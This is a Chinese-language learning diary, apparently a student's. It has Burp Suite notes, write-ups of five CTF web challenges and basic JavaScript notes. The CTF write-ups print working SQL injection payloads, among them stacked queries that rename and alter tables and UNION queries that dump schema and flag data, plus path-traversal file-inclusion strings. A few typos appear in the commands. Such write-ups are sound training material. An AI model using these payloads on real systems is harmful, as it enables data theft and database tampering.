DAY 4
burpsuite
Forward:将请求包发送
Drop:丢掉请求包
Intercept is on/off:截断的开关
Action对请求包的一些操作,我们着重看重放和爆破
抓取请求包。
自动显示,第一个请求包。
然后发现只能抓到http的包,抓不到https的,然后配置https。
然后…后面题目有抓包的题,我就自己慢慢了解…
抓取到的包可以发送到Intruder。
要先切到Positions,设置自己想爆破的参数,右边有四个按钮,都是加减参数的,信息里面有§ §字样的就是参数,Add§把某项设置为参数,Clear§清除所有参数,Auto§自动设置参数。
5题
1.Web_php_unserialize
由题可知,这是个反序列化题,当序列化题目时会检查_wakeup()函数,如存在,则先调用此函数。
如果反序列化后的字符串中表示属性个数的数字与真实属性个数一样,那么就调用__wakeup()函数,反之则绕过。
正则表达式中,规则在不区分大小写情况下, “o:数字” 或者 "c:数字’ 这样的格式 , 就会被过滤。且serialize()参数为object,所以阿紫序列化字符串格式下(参数格式:参数名长度)就无法正则匹配,则绕过了正则。
然后,对其进行base64加密。
结果如下:
2.supersqli
首先查看是否有spl注入。
查看列数。二分法。
2列。
使用联合查询。
然后进行堆叠注入,查询数据库。
查表格。
分别查询两个表的字段,
看到1919810931114514中有flag字段,
然后,
将words表改名为word1;
将1919810931114514改为words
将新的word表插入一列,列名为id
将flag列改名为data
构造payload
然后,输入,
1’;rename table words to word1;rename table 1919810931114514 to words;alter table words add id int unsigned not Null auto_increment primary key; alert table words change flag data varchar(100);#
用1’ or 1=1 #,查询就完成了。
3.ics-06
抓包,爆破
修改变量
设置payload
爆破
4.warmup
打开发现是一张图片,查看源代码,发现源码。,
打开源码。
发现有新文件。
构造payload:
source.php?file=hint.php?/…/…/…/…/…/…/ffffllllaaaagggg
source.php?file=hint.php%253f…/…/…/…/…/…/ffffllllaaaagggginclude
include文件包含是遇到 …/…/会将以.开头,解析器会在当前目录的父目录下寻找该文件,然后进行转义。
5.NewsCenter
查看有无sql注入。
查看列数1’ order by 3 #
联合查询 1’ union select 1,2,3 #
查看表格。
1’ union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() #
查看字段。
在这里插入图片描述
查字段:
1’ union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name=‘secret_table’ #
查看字段值。
1’ union select 1,2,(select group_concat(id,0x3a,fl4g) from users) #
JavaScript
包含的代码是JavaScript代码,它是直接被浏览器执行的。 写入外部js文件中,在页面引入的。每个语句以;结束,语句块用{}
声明变量时使用关键字var,多个用“,”隔开
注释:开头以//到行末字符。
数值转换:
Number():
转换规则:
boolean => 1 或 0
number => 直接返回
undefined => NaN
null => 0
string => 字符串只包含数字–>十进制数值
字符串包含有效浮点格式–>对应浮点数值
字符串包含十六进制–>十进制
其他格式–>NaNv
string,可以这样操作,将两个字符拼接。
var lang=“Java”;
lang=lang+“Script”;
转为字符串:
toString()
String()
值+""
如这样:
18+"" //“18”
true+"" //‘true’
转为boolean值
Boolean()将一个值转换为其对应的boolean值
转为false的值:
null
undefined
“”
NaN
0
布尔值经常用在条件判断句中。
null和undefined
null表示一个“空”的值,0是一个数值。
undefined表示“未定义”。
Object可其添加属性或方法。
var student={
name:‘LullabyLY’,
age:20,
num:xxxxxxxx
};
var student=new Object();
student.name=‘LullabyLY’;
typeof将null的类型定为object是因为 null被认为是空的对象引用
一元操作符
一元操作符只有一个操作数
递增(++)和递减(–)操作符
可用于字符串、布尔值、浮点数、整数和对象,操作数自加1或自减1
分为:前置型(先进行自加或自减,再执行操作)、后置型(先进行操作,再进行自加或自减)
前置:
var age=29;
++age; //30
–age; //29
后置:
var age=29;
age++; //30
age–; //29